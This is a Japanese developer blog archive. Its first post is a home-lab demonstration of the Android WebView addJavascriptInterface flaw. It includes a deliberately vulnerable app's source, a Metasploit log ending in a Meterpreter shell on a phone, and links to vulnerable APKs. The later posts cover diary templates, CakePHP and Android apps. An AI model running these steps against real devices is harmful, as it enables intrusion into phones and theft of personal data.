アプリ」カテゴリーアーカイブ

実験してみました!Android 4.2.x以下のAndroid端末(スマホやタブレット)は本当にやばいです!

ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。

*1:Attacks on Android WebViews

どういう端末が危ないか

1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可

これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。

さらに、

4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可

などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。

なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます

実験内容

1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成

2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機

3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール

4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。

ターゲット環境

・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続

侵入ホスト環境

・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続

WebViewクラス使用アプリの作成

GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。

変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。

package com.krasavkana.vulnwebview;

import android.os.Bundle;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity {

private static EditText edittext1;
private static EditText edittext2;
private static EditText edittext3;
private static WebView myWebView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final Button button = (Button) findViewById(R.id.button1);

// set LHOST 192.168.1.30
edittext1 = (EditText) findViewById(R.id.edittext1);
// set SVRPORT 8080
edittext2 = (EditText) findViewById(R.id.edittext2);
// set URIPATH /aaaaaaaa
edittext3 = (EditText) findViewById(R.id.edittext3);

myWebView = (WebView) findViewById(R.id.webView1);

// not a good idea!
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);

// terrible idea!
myWebView.addJavascriptInterface(new WebAppInterface(this), "Android");

myWebView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return super.shouldOverrideUrlLoading(view, url);
}
});

// woot.
//myWebView.loadUrl(edittext.getText().toString());

button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Perform action on click
loadUrl();
}
});

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

private void loadUrl() {
String uri="http://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString();
myWebView.loadUrl(uri);
// myWebView.reload();
}

}

実験結果

・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可

以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。

root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]]
+ -- --=[ 1463 exploits - 838 auxiliary - 229 post        ]
+ -- --=[ 428 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30
LPORT => 192.168.1.30
msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa
URIPATH => /aaaaaaaa
msf exploit(webview_addjavascriptinterface) > set VERBOSE true
VERBOSE => true
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.30:4444 
[*] Using URL: http://0.0.0.0:8080/aaaaaaaa
[*] Local IP: http://192.168.1.30:8080/aaaaaaaa
[*] Server started.
msf exploit(webview_addjavascriptinterface) > 
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.1.108    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.108    webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: source=script vs source=script
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true
[*] 192.168.1.108    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (45338 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700

msf exploit(webview_addjavascriptinterface) > sessions

Active sessions
===============

  Id  Type                      Information  Connection
  --  ----                      -----------  ----------
  1   meterpreter java/android   @ localhost  192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /data/data/com.krasavkana.vulnwebview
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11768  fil   2015-06-28 15:49:41 -0700  abaeJ.dex
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  cache
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  databases
40444/r--r--r--   4096   dir   2015-06-28 15:49:14 -0700  lib

meterpreter > pwd
/data/data/com.krasavkana.vulnwebview
meterpreter > cd ..
meterpreter > pwd
/data/data

実験で使ったAPKファイル

掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。

インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk

因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。

*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。

他の脆弱性について

今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。

私たちエンドユーザとしては、

・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、

などができ得る対策ですが、十分に気をつけましょう。

関連する記事・ページ

お世話になったリンク

Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。

iPad手書きアプリ「Noteshelf」向け能率手帳風テンプレートを作ってみました

膨大な数のiPadアプリの中でも、Must-Haveなものの一つとして定評のある手書きアプリ「Noteshelf」。とにかく書き心地がよくて、本当に癖になります。でも、ここ一年程セキュリティーの厳しい職場だったためスマホやタブレットなど録音や録画、撮影が可能なデバイスは休止して所謂システム手帳を使っていました。能率手帳Bindexから出ているDiaryリフィルをひさしぶりに手に入れて使ってみましたがこれが素晴らしい。「Noteshelf」に戻れなくなるんじゃないかと考えた程でした。

そこで「Noteshelf」と「能率手帳」風Diaryの好いとこ取りをしようと、能率手帳風「紙のスタイル」の元データをHTML5+CSSで作成してみました。

標準の「紙のスタイル」の中にも「日程表」が提供されていますが

「日程表」という「紙のスタイル」が元々提供されており、これでも大丈夫そうですが、やはり使い慣れたものがいいですよね。HTML5+CSSで作成してみました。

能率手帳風Diary表示ページはこちら

スリム版はこちら。1ページにメモとスケジュールを収めました

スリム版V2はこちら。複数日のPDF出力のため基準日と日数を指定できるようにしました
スリム版V2の2017年版はこちら。2017年元日から365日分表示します。印刷にPrimoPDF等のPDF出力アプリを使えばNoteshelfで使えます
スリム版V2の当月分はこちら。ただし31日分でるので変更するときはURLのパラメータを変えてください

月間目標版はこちら。2015年と2016年があります

日付部分のみ一週間分表示はこちら

左上にある日付の場所をタッチすると日付選択ができ、右上や左上にある日付に関連する表示を変更してくれます。能率手帳風Diaryの左ページ(メモ用)と右ページ(スケジュールやチェックリスト)を一度に表示します。iPad等で画像を取り込むときは、左右のページをそれぞれ取り込むか、横向き使用を想定して一度に取り込むかします。

iPadでの表示テストは初代iPad-miniを使用しており、新iPad-miniを含み歴代の標準サイズのiPadでは試していません。解像度の関係で表示結果がまちまちになるかも知れません。

iPad手書きアプリ「Noteshelf」への取り込み方法

ステップ1:iPadで上記ページにアクセスしてDiaryページを表示する

ステップ2:電源ボタン+ホームボタンの同時ONでDiaryページの画像を保存する

ステップ3:「Noteshelf」アプリを起動して

ステップ4:「ノートの新規作成」(書棚モードの右隅にある「+」を丸で囲んだアイコンをタッチ)

ステップ5:「ノートをカスタマイズ」の上段を「すべてのスタイル」から「カスタム」に変更

ステップ6:スタイルの新規追加でステップ2で保存した画像を設定する

カスタム「紙のスタイル」にはダイナミック表示の機能がない

カスタムスタイルを作ったのはいいのですが、自分であれこれ使ってみて、カスタム「紙のスタイル」にいちいち登録して使うのは根気が必要だと感じました。もちろん、日付部分を空にして手書きで入れればいいのですが、それだと「日程表」と変わらなくなり、ちょっとつまらない。

ストアで探せばいいのかな?

やはりダイナミックな「紙のスタイル」というのは原理的に難しいのでしょうね。しばらく使ってみていろいろ工夫してみようと思います。

DropboxなどからPDFを読み込む方法もあるようです

Noteshelfではテンプレートを使ってノートを作成する方法のほかに、DropboxなどからPDFを読み込む方法があるようです。これだと複数ページにわたるテンプレートのように使うことができますね。
スリム版をH29年分でまとめたPDFはこちら
スリム版をH29年12月分でまとめたPDFはこちら
スリム版をH29年11月分でまとめたPDFはこちら
スリム版をH29年10月分でまとめたPDFはこちら
スリム版をH29年9月分でまとめたPDFはこちら
スリム版をH29年8月分でまとめたPDFはこちら
スリム版をH29年7月分でまとめたPDFはこちら
スリム版をH29年6月分でまとめたPDFはこちら
スリム版をH29年5月分でまとめたPDFはこちら
スリム版をH29年4月分でまとめたPDFはこちら
スリム版をH29年3月分でまとめたPDFはこちら
スリム版をH29年2月分でまとめたPDFはこちら
スリム版をH29年1月分でまとめたPDFはこちら
スリム版をH28年12月分でまとめたPDFはこちら
スリム版をH28年11月分でまとめたPDFはこちら
スリム版をH28年10月分でまとめたPDFはこちら
スリム版をH28年9月分でまとめたPDFはこちら
スリム版をH28年8月分でまとめたPDFはこちら
スリム版をH28年7月分でまとめたPDFはこちら
スリム版をH28年6月分でまとめたPDFはこちら
スリム版をH28年5月分でまとめたPDFはこちら
スリム版をH28年4月分でまとめたPDFはこちら
スリム版をH28年3月分でまとめたPDFはこちら
スリム版をH28年2月分でまとめたPDFはこちら
スリム版をH28年1月分でまとめたPDFはこちら
スリム版を12月分でまとめたPDFはこちら
スリム版を11月分でまとめたPDFはこちら
スリム版を10月分でまとめたPDFはこちら
スリム版を9月分でまとめたPDFはこちら
スリム版を8月分でまとめたPDFはこちら
スリム版を7月分でまとめたPDFはこちら
スリム版を6月分でまとめたPDFはこちら
スリム版を5月分でまとめたPDFはこちら

関連する記事・ページ

お世話になったリンク

以上です。

あなた方は神です!?古いCakePHPの導入で先人の知恵を拝借

現在開発中のシステムではDBアクセスにCakephpを使っています。最新版で開発したものを、レンタルサーバの環境に合わせて調整する必要があり、その際に苦労したことを書いてみたいと思います。個人と組織。そのいづれがその能力を発揮できるのか。システム開発で参考になるネットの情報は個人から発信された情報が殆どだと思います。この記事がその一助になればと思います。

「Cakephp」とは

「Cakephp」とは、小・中規模WEBアプリケーションでは大きなシェアを占めるPHPのフレームワークのひとつです。サーバ(DBへのアクセスが主体)とのアクセスモジュールとしてみると、生PHPで書くのとは格段に違う生産性と読み易さが得られますし、単体でもMVCが構築できる秀逸なオープンソースです。

現在利用している「HostGator」などの格安レンタルサーバでもPHPがデフォルトで導入されています。今ご覧になっている本ブログのCMSであるWordPress自体がまさにPHPで書かれていて、MySQL仕様のDBともPHPでアクセスします。

生のPHPで書くシステムを企業やら行政やら金融やらで使えるようにする場合、コード量は現在の10倍以上になるでしょう。いろいろなケースに想定しないといけないからです。生PHPで簡単に書いたコードは「裸でジャングルに入るようなもの」なんでしょうね。

それに比べるとCakephpなどのフレームワークでは、「裸で」に比べるとかなり改善されるようです。いろいろ例外的な状況への対処が簡単な仕組みにカプセル化されているとのこと。すばらしいですね。これまで一生懸命条件分岐のコードを書いていたのは「何だったんだろう!あの時間を返してくれ!」と思わせるものがあります。

こうしてみるとメリットばかりのように見えますが、そうでもありません。学習のためのコストが掛かったりします。そしてもうひとつ重要なのがレンタルサーバなど自分で自由に環境構築できない場所での扱いです。例えば「HostGator」の場合PHPの版数がちょっと古いんです。古いのは安定につながるのでそれはそれで仕方ありませんが、こうした新しいものを取り入れるときにちょっとした障壁になりえます。

「HostGator」でCakePHP2.xxが使えない

「HostGator」がサポートするPHPの現在の版数は5.2.17です。CakePHP2.xxのサポート版数より低いです。フレームワークによってはベースとなるシステムの版数が低くても使えるものが多いんですけどね。CakePHPは違いました。受け付けてくれません

で、結局開発につかったCakePHP2.xxではなくCakePHP1.xxを導入せざるを得なくなりました。それでもJavaサーブレットやStrutsに比べるとかなりましです。Tomcat6などのアプリケーションサーバ環境自体を用意する必要がないからです。

格安レンタルサーバでアプリケーションサーバ環境をデフォルトで用意してくれるところはあるのでしょうかね。

新しい版から古い版へのフレームワークのマイグレーションは大変?

古い版のものには、リリースされて時間が経つ分皆が使っているので、情報が揃っています。ただ、新しい版のものでできたことを古い版でやろうとするとちょっと敷居が高いです。

もちろん、いきなりレンタルサーバにUPLOADしてコードをいじることはありません。まずはローカルな環境で古いCakePHP1.xxを入れて、それから本番環境にマイグレーションします。

ただし、ローカルに構築したそうした環境で動作するからといってレンタルサーバにそれをそのままコピペしても同じように動くとは限りません。逆に「まったく同じに動くことはないのだ」と思ったほうが幸せになれます

日本語のシステムなら「database.php」の「utf8」設定を有効に

これも「まったく同じに動くことはないのだ」のひとつですが、「database.php」の「utf8」設定を、ローカルでは外して動作していました。このときの「動作していました」の意味はキチンと日本語が見れましたの意味です。レンタルサーバでは日本語がみな「????????」と表記されるのです。まず、DBの中身をいろいろ調べ、次にローカルとの間でコードの違いを調べました。これに数時間も費やして、結局「utf8」を陽に設定すれば即解決しました。

JSON用のserialize機能がCakePHP1.xxにはない!

開発中のシステムは、CakePHPが動くサーバとAjaxで通信するAjaxアプリケーションから構成されます。こうした場合情報のやりとりにはJSONを使うのが定石のようですので、CakePHP2.xxでもそうした実装をしていました。たった2行書くだけでJSONをserialize出力できる便利な機能があるんですね。

ところがこの機能がCakePHP1.xxにはありません。当然ローカル環境でも遭遇しました。そこで、「お世話になったリンク」にもあるように、(CakePHP2.xxでは必要なかった)Viewの定義と、デフォルトLayoutsをバイパスしてあげることの2点で問題が解決しました。

Controller内でArray_map関数を使うとエラーになってしまう

次に、CakePHPのController定義で、レスポンスオブジェクトにある余計な情報を削除するため、Array_map関数をつかったところ、レンタルサーバでエラーになりました。ローカル環境では全く問題なかったのに。不思議です。

function index(){

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map(funtion($e){
        return $e['Share'];
    },$shares);
    $this->set('datas', $shares);
}

結局、次のように無名関数の定義を止めたら通りました。

function index(){

    function res($e){return $e['Share'];}// only Hostgator does this way!!!

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map("res",$shares);
    $this->set('datas', $shares);
}

極めつけはこれ。こんな情報どこにもなかった。あなたは神です

以上はCakePHPがDBにアクセスして一覧を出力するところに関連する部分になります。

ここからは通信方向が逆でAjaxアプリからCakePHPへのXmlHttpRequstのPUTリクエストに関するものです。POSTでも同じ方向のやりとりが発生します。URL情報と並行してテキストやストリームなどの情報が渡されます。

CakePHPのController定義内でこの情報にアクセスするには「this.requst」というオブジェクトを使います。でも下記リンクにもあるようにこれがあろうことか「null(空の意味)」になってしまいお手上げ状態です。いろいろ調べても本来渡されてくるべき情報がないので途方にくれていたところ、本当に凄い裏技を発見、というか、凄い裏技を発見した方がいました。こんな発見必要ないひとには本当に何でもないことですが、開発している最中にこれに出会ったときには「神がいらした」と感動しました。

Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

$this->data = json_decode(file_get_contents('php://input'));

こんなコードどうやって調べたんだろう!

結構複雑でわかりにくい話ですみません

関連する記事・ページ

お世話になったリンク

[CakePHP] JSON出力時にstring型をint型に戻す | XPages、ロータスノーツ・ドミノのモバイル・WEBアプリの開発・相談ならKTrick LLC.
AJAX ? CakePHP Cookbook v1.3 documentation
CakePHPでビューやレイアウトを使わない方法。 | Wataame Frog
Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

以上です。

Android端末の種類でGoogleカレンダの背景色が微妙に違う!?

iOS系端末とAndroidOS系端末には色々な違いがありますが、アプリ開発者にとって恐らく一番と誰もが認める違いは「端末の種類」でしょう。AndroidOS系端末は現在3000種類以上(ハードの数とOSの版数の掛け算?)あるようです。

こうした膨大な種類があるAndroidOS系で、解像度やボタン配置などのハードの仕様が違うのは当然として、ソフト面でも違うことがあり、Androidアプリを作っていると結構戸惑うことがあります。

今回は、殆どのAndroid系端末にプリインストールされているであろうGoogleカレンダについて、アプリ開発者としての体験談です。

ご存知の方は多いと思いますが、Googleカレンダは複数のカレンダを同時に表示したり検索したりして管理できるのですが、属性のひとつとして「カレンダ背景色」があります

原則的には自動割り当てされますが、仕事や家族や恋愛や信仰などでそれぞれご自分のイメージにあわせた色分けをされている場合も多いと思います。

ちなみに私の場合は、「仕事」は青、「家族」は薄青、「恋愛」関係?はオレンジ、「創造」はピンク、などにしています。今週はどういった時間を使ったかがひと目でわかるため大変重宝しています。

こうした「カレンダ背景色」について、Androidアプリを作成する際にもAPIを通して取得することができますが、私が所持するAndroidOS系端末の種類によって仕様が微妙に異なりました。

挙動に違いについて、最初は単なるバグ(Codingミス)だと思っていましたが、そうではなく「仕様」(または「仕様の周り」)が違うのだということが追々分かってきました。

ソフトウエア技術者は必要最低限の仕様については必ず守ります

仕様が違うといっても、さすがに基本的な「背景色」そのものが違っているわけではありません。ソフトウエア技術者は必要最低限の仕様については必ず守ります。違っていたらそれはバグと認識されて適切に処理されます。

問題は仕様には「陽に」表れなかったであろう「ふるまい」に関するものです。

今回でいえばα(アルファ)要素です。「透明度」と言い換えてもいいと思いますが、これがAndroidOS系端末の種類によって微妙に違っていたのです。

Codeは総取替えになりますが、これが元でテストの完了した端末にも影響がでることになりました。

こうした違いはCodeのいたるところに存在するでしょうね

これを完全に定義するには標準的なCode例を公開したり、上記のような仕様定義の漏れを駆逐していくしかありません。iOS系であまりそうした瑕疵が見られないのは、種類が圧倒的に少ないからです。技術的な戦略が上手だからでソフトウエア開発技術が優秀だからというわけではないでしょう。

以上です。

無料Androidアプリ「10秒で10年日記 逆さ日記帳」をGoogle Playにてリリースしました

「10秒で10年日記 逆さ日記帳」の無料WEBアプリ版を本サイトにてリリースさせていただいておりますが、WEBアプリの性質上、暗号化/復号化の実装は困難でした。

本Androidアプリの目玉機能(というか殆どそれしかありませんが)として「暗号化された内容を復号化する機能」を実装しています。

ただし、本アプリでは「復号化」のみ担当します。「暗号化」については、先にGooglePlayでリリースした「クラウドJ2」、または、Gカレンダ暗号化/復号化PCアプリの「cj2cj2main」「MiniCJ2」にて行います。

暗号化/復号化する必要がなければWEBアプリ版で十分です!

カレンダの予定を暗号化していない場合、または復号化する必要がない場合には、本アプリではなくWEBアプリ版で内容を見たり検索したりできます。

以下は、本アプリによる復号化をスムースに始めていただく為のガイドです。インストール直後にこのガイドに従って操作いただくと後戻り少なく運用できると思います。

ざっくりした流れは、最初にメニュ画面を起動して(復号化のための)パスコードを設定します。戻りボタンでメニュ画面から起動画面に戻り認証します。認証後は見たり検索したりしたいカレンダを選択し基準日を設定すれば過去10年分の予定のリストが現れます。

アプリ上の操作方法

以下、アプリ上の操作方法です。

  1. [メニュ][設定][パスコード]を選択してパスコードを設定します
  2. [パスコードの確認]を選択してパスコード確認を設定します。同じものを入力するだけです。終わったら「戻る」ボタンを押してください
  3. 認証します
  4. 基準日を設定すると過去10年分の予定のリストが現れます
  1. Go [menu][settings][passcode] then set passcode you’d like.
  2. Go [passcode confirm] then set passcide confirm that you set just above. Touch BACK button.
  3. Authorize using Google account
  4. Set a date so that you can see a list of events in the past decade

目次

GetStarted | 10秒で10年日記 逆さ日記帳
使い方 | 10秒で10年日記 逆さ日記帳
表示 | 10秒で10年日記 逆さ日記帳
メニュ | 10秒で10年日記 逆さ日記帳
設定 | 10秒で10年日記 逆さ日記帳
制限および注意 | 10秒で10年日記 逆さ日記帳
今回の変更点と改版履歴 | 10秒で10年日記 逆さ日記帳

関連する記事・ページ

Android向け暗号化日記アプリ「クラウドJ2」をGoogle Playにてリリースしました
無料Androidアプリ「10秒で10年日記 逆さ日記帳」をGoogle Playにてリリースしました
「10秒で10年日記 逆さ日記帳」の設定に「全てのカレンダ」項目を追加しました
“Just10SecGet10yDiary R10Diary” has another feature of “All Calendars”
自作無料WEBアプリ「10秒で10年日記 逆さ日記帳」に検索機能を追加しました
「10秒で10年日記 逆さ日記帳」というWEBアプリをリリースしました
Gカレンダ暗号化/復号化ツール「MiniCJ2」を本サイトにてリリースしました
Gカレンダ暗号化/復号化ツール「MiniCJ」を本サイトにてリリースしました
Android端末の種類でGoogleカレンダの背景色が微妙に違う!?
クラウドジャーナル(androidアプリ)から見えなくなった日記データの復元方法について

以上です[enjoy it!]